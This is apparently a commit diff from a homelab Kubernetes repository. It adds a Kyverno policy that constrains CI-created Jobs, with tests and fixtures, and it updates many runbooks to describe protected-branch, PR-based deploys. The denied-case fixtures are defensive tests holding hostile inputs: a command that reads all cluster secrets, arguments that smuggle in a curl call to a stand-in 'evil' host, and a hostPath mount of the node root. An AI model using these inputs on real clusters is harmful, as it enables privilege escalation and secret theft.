# `conformance-runner` — a privileged SA (nodes/patch, pods/exec, namespaces/patch) — with an
# arbitrary command. So the CI trigger credential, however narrow its own Role looks, IS the
# privileged identity unless something constrains the SHAPE of what it may create.
#
# That is what this does: for Jobs created by `conformance-trigger` ONLY, admit exactly the
# committed conformance run and deny everything else. The operator chose this model
# (docs/plans/l2-l3-conformance-ci-wiring.md §4, primary model) over the zero-credential
# GitOps-native alternative.
#
# ENFORCE AND FAIL-CLOSED, NOT SUBSTITUTED. Note this does NOT use
# ${KYVERNO_VALIDATION_ACTION} like the other admission policies: a security boundary that an
# environment overlay can downgrade to Audit is not a boundary. `failurePolicy: Fail` means a
# Kyverno outage blocks conformance Jobs rather than silently admitting unconstrained ones.
# Blocking CI is the correct failure direction here; admitting arbitrary privileged code is not.
#
# SCOPE: it constrains ONLY `conformance-trigger`. Jobs created by humans, by Flux, or by any
# other SA are untouched — so a broken policy cannot wedge the rest of the cluster.
#
# IMAGE PINNING — HONEST LIMIT, READ BEFORE RELYING ON THIS. The plan specifies pinning the
# exact `CONFORMANCE_RUNNER_IMAGE` digest. That image does not exist yet, so this enforces the
# enforceable half: the image must live under the conformance repository path AND be
# digest-pinned (`@sha256:`), never a mutable tag. Residual surface: anyone who can PUSH to that
# registry path could publish a different digest. TIGHTEN THIS when the image is built by
# replacing the `image` pattern below with the literal digest — a one-line change, reviewed in a
# PR, which is exactly where a change to the security boundary belongs.
apiVersion: kyverno.io/v1
kind: ClusterPolicy
metadata:
name: conformance-trigger-job-shape
annotations:
policies.kyverno.io/title: Constrain what the conformance CI trigger may create
policies.kyverno.io/category: Supply chain
policies.kyverno.io/severity: critical
homelab.keithjackson.dev/requirements: R-SEC-02
homelab.keithjackson.dev/scope: admission-only
spec:
validationFailureAction: Enforce
failurePolicy: Fail
background: false
rules:
- name: trigger-may-create-only-the-committed-conformance-run
# resources AND subjects in the SAME filter entry — that is how Kyverno ANDs them.
# As two separate `all` entries it is a schema error ("match resources not specified")
# and the whole policy loads as INVALID, which the CLI reports as a SKIP.
match:
all:
- resources:
kinds:
- Job
namespaces:
- conformance
subjects:
- kind: ServiceAccount
name: conformance-trigger
namespace: conformance
validate:
message: >-
conformance-trigger may create ONLY the committed conformance run: a single container,
digest-pinned conformance-runner image, serviceAccountName conformance-runner,
command ["./run.sh"], no host namespaces, non-root with privilege escalation disabled,
and only the `workspace` and `results` volumes. See
platform/kyverno/admission/conformance-trigger-job-shape.yaml.
pattern:
spec:
template:
spec:
serviceAccountName: conformance-runner
=(hostNetwork): "false"
=(hostPID): "false"
=(hostIPC): "false"
containers:
- image: "gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:*"
command:
- "./run.sh"
securityContext:
runAsNonRoot: true
allowPrivilegeEscalation: false
=(privileged): "false"
- name: trigger-volumes-must-be-workspace-or-results
# resources AND subjects in the SAME filter entry — that is how Kyverno ANDs them.
# As two separate `all` entries it is a schema error ("match resources not specified")
# and the whole policy loads as INVALID, which the CLI reports as a SKIP.
match:
all:
- resources:
kinds:
- Job
namespaces:
- conformance
subjects:
- kind: ServiceAccount
name: conformance-trigger
namespace: conformance
validate:
message: >-
conformance-trigger Jobs may mount only the `workspace` and `results` volumes. An extra
volume is how a constrained pod reaches a host path, a secret, or another SA's token.
# foreach, NOT a `pattern` list: a Kyverno array pattern asserts "at least one element
# matches", which would happily admit a Job carrying `workspace` PLUS a hostPath. This
# asserts EVERY volume is one of the two allowed names.
foreach:
- list: "request.object.spec.template.spec.volumes"
deny:
conditions:
all:
- key: "{{ element.name }}"
operator: AnyNotIn
value: ["workspace", "results"]
- name: trigger-args-must-be-the-committed-flags
# resources AND subjects in the SAME filter entry — that is how Kyverno ANDs them.
# As two separate `all` entries it is a schema error ("match resources not specified")
# and the whole policy loads as INVALID, which the CLI reports as a SKIP.
match:
all:
- resources:
kinds:
- Job
namespaces:
- conformance
subjects:
- kind: ServiceAccount
name: conformance-trigger
namespace: conformance
validate:
message: >-
conformance-trigger Job args may contain only the conformance run's own flags
(--layer, --requirements, --include-scope, --strict-coverage) and their plain values.
Anything else — a shell, a path, a redirect — is denied.
foreach:
- list: "request.object.spec.template.spec.containers[0].args"
deny:
conditions:
all:
- key: "{{ regex_match('^(--layer|--requirements|--include-scope|--strict-coverage|[A-Za-z0-9][A-Za-z0-9,._-]*)$', element) }}"
operator: Equals
value: false
@@ -20,3 +20,7 @@ resources:
# --- secrets: the admission variant REPLACES the CI-only sops-block policy ---
# (../policies/disallow-plaintext-secrets.yaml is CI-only; see secret-provenance.yaml)
- secret-provenance.yaml
# --- R-SEC-02: constrain what the conformance CI trigger may create ---
# THE security boundary for CI cluster access. Enforce + fail-closed, deliberately NOT
# subject to ${KYVERNO_VALIDATION_ACTION}. See the file header.
- conformance-trigger-job-shape.yaml
@@ -0,0 +1,57 @@
# R-SEC-02 — the conformance CI trigger cannot escalate to arbitrary privileged execution.
#
# Each DENY case below is a real escalation path, not a style violation. The one that matters
# most is `evil-command`: correct SA, correct image, arbitrary command. That is the attack the
# whole model exists to stop, and RBAC alone cannot — Kubernetes places no `use` check on
# serviceAccountName, so `create jobs` in this namespace IS the privileged identity without
# this policy.
#
# user-info.yaml supplies the requesting identity. WITHOUT it the policy's `subjects` match
# never fires and every case trivially passes — a test that proves nothing.
apiVersion: cli.kyverno.io/v1alpha1
kind: Test
metadata:
name: conformance-trigger-job-shape
policies:
- ../../admission/conformance-trigger-job-shape.yaml
resources:
- resources.yaml
userinfo: user-info.yaml
results:
# ---- the committed run is ADMITTED ----
- policy: conformance-trigger-job-shape
rule: trigger-may-create-only-the-committed-conformance-run
kind: Job
resources: [good-run]
result: pass
- policy: conformance-trigger-job-shape
rule: trigger-volumes-must-be-workspace-or-results
kind: Job
resources: [good-run]
result: pass
- policy: conformance-trigger-job-shape
rule: trigger-args-must-be-the-committed-flags
kind: Job
resources: [good-run]
result: pass
# ---- THE escalation: runner SA + arbitrary command ----
- policy: conformance-trigger-job-shape
rule: trigger-may-create-only-the-committed-conformance-run
kind: Job
resources: [evil-command, evil-image, tag-not-digest, host-namespaces]
result: fail
# ---- an extra volume is the way out of a constrained pod ----
- policy: conformance-trigger-job-shape
rule: trigger-volumes-must-be-workspace-or-results
kind: Job
resources: [extra-volume]
result: fail
# ---- args beyond the committed flags ----
- policy: conformance-trigger-job-shape
rule: trigger-args-must-be-the-committed-flags
kind: Job
resources: [injected-args]
result: fail
@@ -0,0 +1,154 @@
# The committed shape — must be ADMITTED.
apiVersion: batch/v1
kind: Job
metadata:
name: good-run
namespace: conformance
spec:
template:
spec:
serviceAccountName: conformance-runner
containers:
- name: runner
image: gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:aaaabbbbccccddddeeeeffff0000111122223333444455556666777788889999
command: ["./run.sh"]
args: ["--layer", "l2,l3", "--requirements", "R-NET-01"]
securityContext:
runAsNonRoot: true
allowPrivilegeEscalation: false
volumes:
- name: workspace
emptyDir: {}
- name: results
emptyDir: {}
---
# THE ESCALATION: runner SA, but an arbitrary command. Must be DENIED.
apiVersion: batch/v1
kind: Job
metadata:
name: evil-command
namespace: conformance
spec:
template:
spec:
serviceAccountName: conformance-runner
containers:
- name: runner
image: gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:aaaabbbbccccddddeeeeffff0000111122223333444455556666777788889999
command: ["/bin/sh", "-c", "kubectl get secrets -A"]
securityContext:
runAsNonRoot: true
allowPrivilegeEscalation: false
volumes:
- name: workspace
emptyDir: {}
---
# An arbitrary image running as the privileged SA. Must be DENIED.
apiVersion: batch/v1
kind: Job
metadata:
name: evil-image
namespace: conformance
spec:
template:
spec:
serviceAccountName: conformance-runner
containers:
- name: runner
image: docker.io/library/alpine:latest
command: ["./run.sh"]
securityContext:
runAsNonRoot: true
allowPrivilegeEscalation: false
volumes:
- name: workspace
emptyDir: {}
---
# A mutable TAG instead of a digest — republishable under the same reference. Must be DENIED.
apiVersion: batch/v1
kind: Job
metadata:
name: tag-not-digest
namespace: conformance
spec:
template:
spec:
serviceAccountName: conformance-runner
containers:
- name: runner
image: gitea.home.keithjackson.dev/home-network/conformance-runner:latest
command: ["./run.sh"]
securityContext:
runAsNonRoot: true
allowPrivilegeEscalation: false
volumes:
- name: workspace
emptyDir: {}
---
# Host namespaces + privilege escalation. Must be DENIED.
apiVersion: batch/v1
kind: Job
metadata:
name: host-namespaces
namespace: conformance
spec:
template:
spec:
serviceAccountName: conformance-runner
hostPID: true
containers:
- name: runner
image: gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:aaaabbbbccccddddeeeeffff0000111122223333444455556666777788889999
command: ["./run.sh"]
securityContext:
runAsNonRoot: false
allowPrivilegeEscalation: true
volumes:
- name: workspace
emptyDir: {}
---
# An extra volume — the way out of a constrained pod. Must be DENIED.
apiVersion: batch/v1
kind: Job
metadata:
name: extra-volume
namespace: conformance
spec:
template:
spec:
serviceAccountName: conformance-runner
containers:
- name: runner
image: gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:aaaabbbbccccddddeeeeffff0000111122223333444455556666777788889999
command: ["./run.sh"]
securityContext:
runAsNonRoot: true
allowPrivilegeEscalation: false
volumes:
- name: workspace
emptyDir: {}
- name: hostroot
hostPath:
path: /
---
# Injected args beyond the committed flags. Must be DENIED.
apiVersion: batch/v1
kind: Job
metadata:
name: injected-args
namespace: conformance
spec:
template:
spec:
serviceAccountName: conformance-runner
containers:
- name: runner
image: gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:aaaabbbbccccddddeeeeffff0000111122223333444455556666777788889999
command: ["./run.sh"]
args: ["--layer", "l2", ";", "curl", "http://evil/"]
securityContext:
runAsNonRoot: true
allowPrivilegeEscalation: false
volumes:
- name: workspace
emptyDir: {}
@@ -0,0 +1,12 @@
# The requesting identity the policy keys on. Without this the `subjects` match never fires and
# every case below would trivially "pass" — proving nothing.
apiVersion: cli.kyverno.io/v1alpha1
kind: UserInfo
metadata:
name: conformance-trigger
userInfo:
username: system:serviceaccount:conformance:conformance-trigger
groups:
- system:serviceaccounts
- system:serviceaccounts:conformance
- system:authenticated
+7 -4
View File
@@ -33,7 +33,8 @@ negative is how a CLI quirk becomes real data loss. Write `backups.velero.io`,
`backups.postgresql.cnpg.io`, `clusters.postgresql.cnpg.io`, `settings.longhorn.io`,
`volumes.longhorn.io`, `nodes.longhorn.io`.
`git push origin main` **is** the deploy; there is no other apply step. Durable changes go through git.
Merging a PR into `main` **is** the deploy; there is no other apply step. `main` is protected, so a
direct push is rejected — durable changes go through a branch, a PR, and a green gate.
## Alerts you should not trust the silence of (measured 2026-09-13)
@@ -109,9 +110,11 @@ Each affected runbook says so on its own page and gives the by-hand equivalent.
every green signal missed.
### Operator procedures (no alert links here)
- **`plex-claim`** — claiming the Plex Media Server. The plex.tv claim token lives ~4 minutes, so this
is a timed sequence: token → `sops` → push → **forced** `flux reconcile` → pod roll. Includes why a
changed Secret does not restart anything, and why an expired token is harmless.
- **`plex-claim`** — claiming the Plex Media Server. **Claimed 2026-09-29**; the page now only
applies after a `/config` wipe. The claim token is short-lived — read the countdown on
plex.tv/claim — so it is a timed sequence, scripted as `infra/plex/claim-ship.sh`:
token → `sops` → PR → gate → merge → **forced** `flux reconcile` → pod roll (~2m45s measured).
Includes why a changed Secret does not restart anything, and why an expired token is harmless.
### Virtualisation
- **`kubevirt-control-plane`** — VM lifecycle operations will fail; running VMs keep running.
+4 -2
View File
@@ -62,8 +62,10 @@ a cluster holding 6 Velero backups and 27 CNPG backups. Verified on prod 2026-09
`settings.longhorn.io`, `volumes.longhorn.io`, `nodes.longhorn.io`.
Mutating kubectl (`apply`, `patch`, `annotate`, `rollout`) and `flux reconcile` are blocked for
agents here: every durable change goes through git (`git push origin main` **is** the deploy).
Where this runbook gives a mutating command it is for an operator, and it says so.
agents here: every durable change goes through git. **`main` is a protected branch — a direct push
is rejected.** A change lands by pushing a branch, opening a PR, and merging it once the gate is
green; that merge is the deploy. Where this runbook gives a mutating command it is for an operator,
and it says so.
## First commands
+4 -2
View File
@@ -61,8 +61,10 @@ a cluster holding 6 Velero backups and 27 CNPG backups. Verified on prod 2026-09
`settings.longhorn.io`, `volumes.longhorn.io`, `nodes.longhorn.io`.
Mutating kubectl (`apply`, `patch`, `annotate`, `rollout`) and `flux reconcile` are blocked for
agents here: every durable change goes through git (`git push origin main` **is** the deploy).
Where this runbook gives a mutating command it is for an operator, and it says so.
agents here: every durable change goes through git. **`main` is a protected branch — a direct push
is rejected.** A change lands by pushing a branch, opening a PR, and merging it once the gate is
green; that merge is the deploy. Where this runbook gives a mutating command it is for an operator,
and it says so.
## First commands
+4 -2
View File
@@ -78,8 +78,10 @@ a cluster holding 6 Velero backups and 27 CNPG backups. Verified on prod 2026-09
`settings.longhorn.io`, `volumes.longhorn.io`, `nodes.longhorn.io`.
Mutating kubectl (`apply`, `patch`, `annotate`, `rollout`) and `flux reconcile` are blocked for
agents here: every durable change goes through git (`git push origin main` **is** the deploy).
Where this runbook gives a mutating command it is for an operator, and it says so.
agents here: every durable change goes through git. **`main` is a protected branch — a direct push
is rejected.** A change lands by pushing a branch, opening a PR, and merging it once the gate is
green; that merge is the deploy. Where this runbook gives a mutating command it is for an operator,
and it says so.
## First commands
+4 -2
View File
@@ -55,8 +55,10 @@ a cluster holding 6 Velero backups and 27 CNPG backups. Verified on prod 2026-09
`settings.longhorn.io`, `volumes.longhorn.io`, `nodes.longhorn.io`.
Mutating kubectl (`apply`, `patch`, `annotate`, `rollout`) and `flux reconcile` are blocked for
agents here: every durable change goes through git (`git push origin main` **is** the deploy).
Where this runbook gives a mutating command it is for an operator, and it says so.
agents here: every durable change goes through git. **`main` is a protected branch — a direct push
is rejected.** A change lands by pushing a branch, opening a PR, and merging it once the gate is
green; that merge is the deploy. Where this runbook gives a mutating command it is for an operator,
and it says so.
## First commands
+4 -2
View File
@@ -62,8 +62,10 @@ a cluster holding 6 Velero backups and 27 CNPG backups. Verified on prod 2026-09
`settings.longhorn.io`, `volumes.longhorn.io`, `nodes.longhorn.io`.
Mutating kubectl (`apply`, `patch`, `annotate`, `rollout`) and `flux reconcile` are blocked for
agents here: every durable change goes through git (`git push origin main` **is** the deploy).
Where this runbook gives a mutating command it is for an operator, and it says so.
agents here: every durable change goes through git. **`main` is a protected branch — a direct push
is rejected.** A change lands by pushing a branch, opening a PR, and merging it once the gate is
green; that merge is the deploy. Where this runbook gives a mutating command it is for an operator,
and it says so.
## First commands
+4 -2
View File
@@ -63,8 +63,10 @@ a cluster holding 6 Velero backups and 27 CNPG backups. Verified on prod 2026-09
`settings.longhorn.io`, `volumes.longhorn.io`, `nodes.longhorn.io`.
Mutating kubectl (`apply`, `patch`, `annotate`, `rollout`) and `flux reconcile` are blocked for
agents here: every durable change goes through git (`git push origin main` **is** the deploy).
Where this runbook gives a mutating command it is for an operator, and it says so.
agents here: every durable change goes through git. **`main` is a protected branch — a direct push
is rejected.** A change lands by pushing a branch, opening a PR, and merging it once the gate is
green; that merge is the deploy. Where this runbook gives a mutating command it is for an operator,
and it says so.
## First commands
+4 -2
View File
@@ -87,8 +87,10 @@ a cluster holding 6 Velero backups and 27 CNPG backups. Verified on prod 2026-09
`settings.longhorn.io`, `volumes.longhorn.io`, `nodes.longhorn.io`.
Mutating kubectl (`apply`, `patch`, `annotate`, `rollout`) and `flux reconcile` are blocked for
agents here: every durable change goes through git (`git push origin main` **is** the deploy).
Where this runbook gives a mutating command it is for an operator, and it says so.
agents here: every durable change goes through git. **`main` is a protected branch — a direct push
is rejected.** A change lands by pushing a branch, opening a PR, and merging it once the gate is
green; that merge is the deploy. Where this runbook gives a mutating command it is for an operator,
and it says so.
## First commands
+4 -2
View File
@@ -69,8 +69,10 @@ a cluster holding 6 Velero backups and 27 CNPG backups. Verified on prod 2026-09
`settings.longhorn.io`, `volumes.longhorn.io`, `nodes.longhorn.io`.
Mutating kubectl (`apply`, `patch`, `annotate`, `rollout`) and `flux reconcile` are blocked for
agents here: every durable change goes through git (`git push origin main` **is** the deploy).
Where this runbook gives a mutating command it is for an operator, and it says so.
agents here: every durable change goes through git. **`main` is a protected branch — a direct push
is rejected.** A change lands by pushing a branch, opening a PR, and merging it once the gate is
green; that merge is the deploy. Where this runbook gives a mutating command it is for an operator,
and it says so.
## First commands
+4 -2
View File
@@ -71,8 +71,10 @@ a cluster holding 6 Velero backups and 27 CNPG backups. Verified on prod 2026-09
`settings.longhorn.io`, `volumes.longhorn.io`, `nodes.longhorn.io`.
Mutating kubectl (`apply`, `patch`, `annotate`, `rollout`) and `flux reconcile` are blocked for
agents here: every durable change goes through git (`git push origin main` **is** the deploy).
Where this runbook gives a mutating command it is for an operator, and it says so.
agents here: every durable change goes through git. **`main` is a protected branch — a direct push
is rejected.** A change lands by pushing a branch, opening a PR, and merging it once the gate is
green; that merge is the deploy. Where this runbook gives a mutating command it is for an operator,
and it says so.
## First commands
+4 -2
View File
@@ -68,8 +68,10 @@ a cluster holding 6 Velero backups and 27 CNPG backups. Verified on prod 2026-09
`settings.longhorn.io`, `volumes.longhorn.io`, `nodes.longhorn.io`.
Mutating kubectl (`apply`, `patch`, `annotate`, `rollout`) and `flux reconcile` are blocked for
agents here: every durable change goes through git (`git push origin main` **is** the deploy).
Where this runbook gives a mutating command it is for an operator, and it says so.
agents here: every durable change goes through git. **`main` is a protected branch — a direct push
is rejected.** A change lands by pushing a branch, opening a PR, and merging it once the gate is
green; that merge is the deploy. Where this runbook gives a mutating command it is for an operator,
and it says so.
## First commands
+4 -2
View File
@@ -61,8 +61,10 @@ a cluster holding 6 Velero backups and 27 CNPG backups. Verified on prod 2026-09
`settings.longhorn.io`, `volumes.longhorn.io`, `nodes.longhorn.io`.
Mutating kubectl (`apply`, `patch`, `annotate`, `rollout`) and `flux reconcile` are blocked for
agents here: every durable change goes through git (`git push origin main` **is** the deploy).
Where this runbook gives a mutating command it is for an operator, and it says so.
agents here: every durable change goes through git. **`main` is a protected branch — a direct push
is rejected.** A change lands by pushing a branch, opening a PR, and merging it once the gate is
green; that merge is the deploy. Where this runbook gives a mutating command it is for an operator,
and it says so.
## First commands
+4 -2
View File
@@ -62,8 +62,10 @@ a cluster holding 6 Velero backups and 27 CNPG backups. Verified on prod 2026-09
`settings.longhorn.io`, `volumes.longhorn.io`, `nodes.longhorn.io`.
Mutating kubectl (`apply`, `patch`, `annotate`, `rollout`) and `flux reconcile` are blocked for
agents here: every durable change goes through git (`git push origin main` **is** the deploy).
Where this runbook gives a mutating command it is for an operator, and it says so.
agents here: every durable change goes through git. **`main` is a protected branch — a direct push
is rejected.** A change lands by pushing a branch, opening a PR, and merging it once the gate is
green; that merge is the deploy. Where this runbook gives a mutating command it is for an operator,
and it says so.
## First commands
+5 -3
View File
@@ -7,7 +7,7 @@
## What this means here
Something in the GitOps chain is stuck at Ready=False. On this cluster that is more consequential than
it sounds, because **`git push origin main` IS the deploy** — there is no other apply step. A stuck
it sounds, because **merging a PR into `main` IS the deploy** — there is no other apply step. A stuck
Kustomization means git and the cluster have diverged and nothing will close the gap.
The chain has **14 tiers**: `flux-system` → `cilium` → `platform` → `platform-config` →
@@ -61,8 +61,10 @@ a cluster holding 6 Velero backups and 27 CNPG backups. Verified on prod 2026-09
`settings.longhorn.io`, `volumes.longhorn.io`, `nodes.longhorn.io`.
Mutating kubectl (`apply`, `patch`, `annotate`, `rollout`) and `flux reconcile` are blocked for
agents here: every durable change goes through git (`git push origin main` **is** the deploy).
Where this runbook gives a mutating command it is for an operator, and it says so.
agents here: every durable change goes through git. **`main` is a protected branch — a direct push
is rejected.** A change lands by pushing a branch, opening a PR, and merging it once the gate is
green; that merge is the deploy. Where this runbook gives a mutating command it is for an operator,
and it says so.
## First commands
+4 -2
View File
@@ -58,8 +58,10 @@ a cluster holding 6 Velero backups and 27 CNPG backups. Verified on prod 2026-09
`settings.longhorn.io`, `volumes.longhorn.io`, `nodes.longhorn.io`.
Mutating kubectl (`apply`, `patch`, `annotate`, `rollout`) and `flux reconcile` are blocked for
agents here: every durable change goes through git (`git push origin main` **is** the deploy).
Where this runbook gives a mutating command it is for an operator, and it says so.
agents here: every durable change goes through git. **`main` is a protected branch — a direct push
is rejected.** A change lands by pushing a branch, opening a PR, and merging it once the gate is
green; that merge is the deploy. Where this runbook gives a mutating command it is for an operator,
and it says so.
## First commands
+4 -2
View File
@@ -53,8 +53,10 @@ a cluster holding 6 Velero backups and 27 CNPG backups. Verified on prod 2026-09
`settings.longhorn.io`, `volumes.longhorn.io`, `nodes.longhorn.io`.
Mutating kubectl (`apply`, `patch`, `annotate`, `rollout`) and `flux reconcile` are blocked for
agents here: every durable change goes through git (`git push origin main` **is** the deploy).
Where this runbook gives a mutating command it is for an operator, and it says so.
agents here: every durable change goes through git. **`main` is a protected branch — a direct push
is rejected.** A change lands by pushing a branch, opening a PR, and merging it once the gate is
green; that merge is the deploy. Where this runbook gives a mutating command it is for an operator,
and it says so.
## First commands
+4 -2
View File
@@ -53,8 +53,10 @@ a cluster holding 6 Velero backups and 27 CNPG backups. Verified on prod 2026-09
`settings.longhorn.io`, `volumes.longhorn.io`, `nodes.longhorn.io`.
Mutating kubectl (`apply`, `patch`, `annotate`, `rollout`) and `flux reconcile` are blocked for
agents here: every durable change goes through git (`git push origin main` **is** the deploy).
Where this runbook gives a mutating command it is for an operator, and it says so.
agents here: every durable change goes through git. **`main` is a protected branch — a direct push
is rejected.** A change lands by pushing a branch, opening a PR, and merging it once the gate is
green; that merge is the deploy. Where this runbook gives a mutating command it is for an operator,
and it says so.
## First commands
+4 -2
View File
@@ -87,8 +87,10 @@ a cluster holding 6 Velero backups and 27 CNPG backups. Verified on prod 2026-09
`settings.longhorn.io`, `volumes.longhorn.io`, `nodes.longhorn.io`.
Mutating kubectl (`apply`, `patch`, `annotate`, `rollout`) and `flux reconcile` are blocked for
agents here: every durable change goes through git (`git push origin main` **is** the deploy).
Where this runbook gives a mutating command it is for an operator, and it says so.
agents here: every durable change goes through git. **`main` is a protected branch — a direct push
is rejected.** A change lands by pushing a branch, opening a PR, and merging it once the gate is
green; that merge is the deploy. Where this runbook gives a mutating command it is for an operator,
and it says so.
## First commands
+4 -2
View File
@@ -67,8 +67,10 @@ a cluster holding 6 Velero backups and 27 CNPG backups. Verified on prod 2026-09
`settings.longhorn.io`, `volumes.longhorn.io`, `nodes.longhorn.io`.
Mutating kubectl (`apply`, `patch`, `annotate`, `rollout`) and `flux reconcile` are blocked for
agents here: every durable change goes through git (`git push origin main` **is** the deploy).
Where this runbook gives a mutating command it is for an operator, and it says so.
agents here: every durable change goes through git. **`main` is a protected branch — a direct push
is rejected.** A change lands by pushing a branch, opening a PR, and merging it once the gate is
green; that merge is the deploy. Where this runbook gives a mutating command it is for an operator,
and it says so.
## First commands
+4 -2
View File
@@ -59,8 +59,10 @@ a cluster holding 6 Velero backups and 27 CNPG backups. Verified on prod 2026-09
`settings.longhorn.io`, `volumes.longhorn.io`, `nodes.longhorn.io`.
Mutating kubectl (`apply`, `patch`, `annotate`, `rollout`) and `flux reconcile` are blocked for
agents here: every durable change goes through git (`git push origin main` **is** the deploy).
Where this runbook gives a mutating command it is for an operator, and it says so.
agents here: every durable change goes through git. **`main` is a protected branch — a direct push
is rejected.** A change lands by pushing a branch, opening a PR, and merging it once the gate is
green; that merge is the deploy. Where this runbook gives a mutating command it is for an operator,
and it says so.
## First commands
+4 -2
View File
@@ -57,8 +57,10 @@ a cluster holding 6 Velero backups and 27 CNPG backups. Verified on prod 2026-09
`settings.longhorn.io`, `volumes.longhorn.io`, `nodes.longhorn.io`.
Mutating kubectl (`apply`, `patch`, `annotate`, `rollout`) and `flux reconcile` are blocked for
agents here: every durable change goes through git (`git push origin main` **is** the deploy).
Where this runbook gives a mutating command it is for an operator, and it says so.
agents here: every durable change goes through git. **`main` is a protected branch — a direct push
is rejected.** A change lands by pushing a branch, opening a PR, and merging it once the gate is
green; that merge is the deploy. Where this runbook gives a mutating command it is for an operator,
and it says so.
## First commands
+4 -2
View File
@@ -53,8 +53,10 @@ a cluster holding 6 Velero backups and 27 CNPG backups. Verified on prod 2026-09
`settings.longhorn.io`, `volumes.longhorn.io`, `nodes.longhorn.io`.
Mutating kubectl (`apply`, `patch`, `annotate`, `rollout`) and `flux reconcile` are blocked for
agents here: every durable change goes through git (`git push origin main` **is** the deploy).
Where this runbook gives a mutating command it is for an operator, and it says so.
agents here: every durable change goes through git. **`main` is a protected branch — a direct push
is rejected.** A change lands by pushing a branch, opening a PR, and merging it once the gate is
green; that merge is the deploy. Where this runbook gives a mutating command it is for an operator,
and it says so.
## First commands
+4 -2
View File
@@ -62,8 +62,10 @@ a cluster holding 6 Velero backups and 27 CNPG backups. Verified on prod 2026-09
`settings.longhorn.io`, `volumes.longhorn.io`, `nodes.longhorn.io`.
Mutating kubectl (`apply`, `patch`, `annotate`, `rollout`) and `flux reconcile` are blocked for
agents here: every durable change goes through git (`git push origin main` **is** the deploy).
Where this runbook gives a mutating command it is for an operator, and it says so.
agents here: every durable change goes through git. **`main` is a protected branch — a direct push
is rejected.** A change lands by pushing a branch, opening a PR, and merging it once the gate is
green; that merge is the deploy. Where this runbook gives a mutating command it is for an operator,
and it says so.
## First commands
+1 -1
View File
@@ -83,7 +83,7 @@ configMapGenerator:
- node-memory-swap=node-memory-swap.md
# Operator procedure, not an alert page (no alert links to it — the
# alert-runbooks-resolvable check treats that as advisory). It is served
# because the 4-minute plex.tv claim window is not a thing to go looking
# because the plex.tv claim window is short and is not a thing to go looking
# for in git: /runbooks/plex-claim has to resolve the moment it is needed.
- plex-claim=plex-claim.md
- pvc-capacity=pvc-capacity.md
+4 -2
View File
@@ -83,8 +83,10 @@ a cluster holding 6 Velero backups and 27 CNPG backups. Verified on prod 2026-09
`settings.longhorn.io`, `volumes.longhorn.io`, `nodes.longhorn.io`.
Mutating kubectl (`apply`, `patch`, `annotate`, `rollout`) and `flux reconcile` are blocked for
agents here: every durable change goes through git (`git push origin main` **is** the deploy).
Where this runbook gives a mutating command it is for an operator, and it says so.
agents here: every durable change goes through git. **`main` is a protected branch — a direct push
is rejected.** A change lands by pushing a branch, opening a PR, and merging it once the gate is
green; that merge is the deploy. Where this runbook gives a mutating command it is for an operator,
and it says so.
## First commands
+4 -2
View File
@@ -74,8 +74,10 @@ a cluster holding 6 Velero backups and 27 CNPG backups. Verified on prod 2026-09
`settings.longhorn.io`, `volumes.longhorn.io`, `nodes.longhorn.io`.
Mutating kubectl (`apply`, `patch`, `annotate`, `rollout`) and `flux reconcile` are blocked for
agents here: every durable change goes through git (`git push origin main` **is** the deploy).
Where this runbook gives a mutating command it is for an operator, and it says so.
agents here: every durable change goes through git. **`main` is a protected branch — a direct push
is rejected.** A change lands by pushing a branch, opening a PR, and merging it once the gate is
green; that merge is the deploy. Where this runbook gives a mutating command it is for an operator,
and it says so.
## First commands
+4 -2
View File
@@ -75,8 +75,10 @@ a cluster holding 6 Velero backups and 27 CNPG backups. Verified on prod 2026-09
`settings.longhorn.io`, `volumes.longhorn.io`, `nodes.longhorn.io`.
Mutating kubectl (`apply`, `patch`, `annotate`, `rollout`) and `flux reconcile` are blocked for
agents here: every durable change goes through git (`git push origin main` **is** the deploy).
Where this runbook gives a mutating command it is for an operator, and it says so.
agents here: every durable change goes through git. **`main` is a protected branch — a direct push
is rejected.** A change lands by pushing a branch, opening a PR, and merging it once the gate is
green; that merge is the deploy. Where this runbook gives a mutating command it is for an operator,
and it says so.
## First commands
+4 -2
View File
@@ -52,8 +52,10 @@ a cluster holding 6 Velero backups and 27 CNPG backups. Verified on prod 2026-09
`settings.longhorn.io`, `volumes.longhorn.io`, `nodes.longhorn.io`.
Mutating kubectl (`apply`, `patch`, `annotate`, `rollout`) and `flux reconcile` are blocked for
agents here: every durable change goes through git (`git push origin main` **is** the deploy).
Where this runbook gives a mutating command it is for an operator, and it says so.
agents here: every durable change goes through git. **`main` is a protected branch — a direct push
is rejected.** A change lands by pushing a branch, opening a PR, and merging it once the gate is
green; that merge is the deploy. Where this runbook gives a mutating command it is for an operator,
and it says so.
## First commands
+4 -2
View File
@@ -49,8 +49,10 @@ a cluster holding 6 Velero backups and 27 CNPG backups. Verified on prod 2026-09
`settings.longhorn.io`, `volumes.longhorn.io`, `nodes.longhorn.io`.
Mutating kubectl (`apply`, `patch`, `annotate`, `rollout`) and `flux reconcile` are blocked for
agents here: every durable change goes through git (`git push origin main` **is** the deploy).
Where this runbook gives a mutating command it is for an operator, and it says so.
agents here: every durable change goes through git. **`main` is a protected branch — a direct push
is rejected.** A change lands by pushing a branch, opening a PR, and merging it once the gate is
green; that merge is the deploy. Where this runbook gives a mutating command it is for an operator,
and it says so.
## First commands
+4 -2
View File
@@ -56,8 +56,10 @@ a cluster holding 6 Velero backups and 27 CNPG backups. Verified on prod 2026-09
`settings.longhorn.io`, `volumes.longhorn.io`, `nodes.longhorn.io`.
Mutating kubectl (`apply`, `patch`, `annotate`, `rollout`) and `flux reconcile` are blocked for
agents here: every durable change goes through git (`git push origin main` **is** the deploy).
Where this runbook gives a mutating command it is for an operator, and it says so.
agents here: every durable change goes through git. **`main` is a protected branch — a direct push
is rejected.** A change lands by pushing a branch, opening a PR, and merging it once the gate is
green; that merge is the deploy. Where this runbook gives a mutating command it is for an operator,
and it says so.
## First commands
+4 -2
View File
@@ -56,8 +56,10 @@ a cluster holding 6 Velero backups and 27 CNPG backups. Verified on prod 2026-09
`settings.longhorn.io`, `volumes.longhorn.io`, `nodes.longhorn.io`.
Mutating kubectl (`apply`, `patch`, `annotate`, `rollout`) and `flux reconcile` are blocked for
agents here: every durable change goes through git (`git push origin main` **is** the deploy).
Where this runbook gives a mutating command it is for an operator, and it says so.
